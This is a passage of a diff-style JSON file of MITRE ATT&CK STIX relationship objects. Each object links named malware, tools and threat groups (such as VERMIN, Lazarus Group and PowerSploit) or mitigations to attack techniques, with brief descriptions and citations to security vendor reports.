"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a8f11c39-df96-451e-a93a-417512f82819", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "source_name": "Accenture Hogfish April 2018", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) saves each collected file with the automatically generated format {0:dd-MM-yyyy}.txt .", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--57a9c0ef-6b92-415e-9f72-a78483e35f5f", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.030Z", + "id": "relationship--fa04ac7f-206f-42ad-b0c7-499e57bc99ce", + "source_ref": "course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152", + "modified": "2019-07-24T14:34:51.623Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is capable of persisting via a .lnk file stored in the Startup directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cfc64939-1c2c-4bc0-bfac-3492667b1bcd", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", + "source_name": "Unit 42 SeaDuke 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd", + "description": "[meek](https://attack.mitre.org/software/S0175) uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended desitnation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b1334535-019a-4d6a-88c1-8bb6741f152b", + "source_ref": "tool--65370d0b-3bd4-4653-8cf9-daf56f6be830", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) uses cmd.exe to execute commands for discovery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bc8f14a1-dc24-42cb-a0dd-3cc0c25d5eae", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect information about anti-virus software on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--198d7156-eff4-4a6e-8e59-ab8a656f77a8", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can create a shortcut in the Windows startup folder for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--aeaa2f37-4014-4313-9fe2-8616b352a90c", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of writing a file to the compromised system from the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0e12d7d1-5c46-4314-97fb-263853eed6af", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) has used Android backdoors capable of exfiltrating specific files directly from the infected devices.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.065Z", + "id": "relationship--72cd5bab-20d9-4895-a6be-7d33f28d4b65", + "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "modified": "2019-03-22T20:14:29.734Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) accesses the HKLM\\System\\CurrentControlSet\\Services\\mssmbios\\Data\\SMBiosData Registry key to obtain the System manufacturer value to identify the machine type.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2de4d7df-18fc-4202-93ee-2fcfe6f2e501", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.337Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to initiate keylogging and screen captures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ade60661-8dfb-473a-8d12-014ba0273934", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "source_name": "Zscaler Kasidet", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware gathers the victim's local IP address, MAC address, and external IP address.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--88c50625-6d02-42fb-aa82-4315a532b754", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.276Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has deleted tmp and prefetch files during post compromise cleanup activities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--92bc1e7b-6700-4d11-b82e-24284f30c2d7", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.691Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--28471736-5b62-4132-b4ed-c22ae449b455", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.439Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + }, + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample conducts C2 over HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6549c38d-46b4-4633-a479-0cbeb405f186", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.227Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "A Destover-like implant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) can obtain the current system time and send it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d0327dce-ca02-48ba-8830-85fcc574113c", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.223Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "source_name": "McAfee GhostSecret", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Helminth](https://attack.mitre.org/software/S0170) creates folders to store output from batch scripts prior to sending the information to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9c7ecbf4-88fe-4144-8dc4-f5bca2c3156d", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Nerex](https://attack.mitre.org/software/S0210) creates a Registry subkey that registers a new service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6aadee2b-d475-4604-bb08-7df5e59eae3a", + "source_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.", + "source_name": "Symantec Nerex May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--76651b1b-8c14-4aac-92dd-1364686b61cd", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.202Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Mivast](https://attack.mitre.org/software/S0080) has the capability to download and execute .exe files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d7699bcf-5732-40f5-a715-d430b00b043e", + "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", + "source_name": "Symantec Backdoor.Mivast", + "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--dd792651-5ab5-4d9c-ab46-7dfedcd811f1", + "source_ref": "course-of-action--44155d14-ca75-4fdf-b033-ab3d732e2884", + "modified": "2019-07-24T19:44:56.496Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) establishes persistence by adding a new service with the display name \"WMI Performance Adapter Extension\" in an attempt to masquerade as a legitimate WMI service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--abdf9690-d578-4f86-a2cc-295c2789bb4e", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5301c007-7c00-4b4d-b355-864db8de052f", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "modified": "2019-01-30T18:08:51.102Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can enumerate registry keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9f496c45-eac5-464f-858b-ef481f2f37ff", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "DLL side-loading has been used to execute [BBSRAT](https://attack.mitre.org/software/S0127) through a legitimate Citrix executable, ssonsvr.exe. The Citrix executable was dropped along with [BBSRAT](https://attack.mitre.org/software/S0127) by the dropper.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6b19a5ae-3f6a-4950-94da-22d94477d5d2", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.413Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.023Z", + "id": "relationship--c0b07b4a-d421-4faa-8564-4cc89668afac", + "source_ref": "course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae", + "modified": "2019-09-12T19:56:36.469Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-Keystrokes Exfiltration module can log keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1bd467ff-6e94-40c5-ae4d-2ed7c62bc0d5", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.090Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9c203488-e4e0-4e41-8a92-e350eabf6e65", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.655Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lazarus KillDisk", + "description": "K\u00e1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.", + "url": "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) obfuscates API function names using a substitute cipher combined with Base64 encoding.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--573916d8-804d-4453-be37-e6b1865e87db", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "source_name": "CopyKittens Nov 2015", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--af088283-7416-466d-86f3-8b55e6d698d4", + "source_ref": "course-of-action--00d7d21b-69d6-4797-88a2-c86f3fc97651", + "modified": "2019-07-25T11:22:19.237Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects various information via WMI requests, including CPU information in the Win32_Processor entry (Processor ID, Name, Manufacturer and the clock speed).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fe4c0535-7491-4345-a524-11f8434e3678", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.169Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos 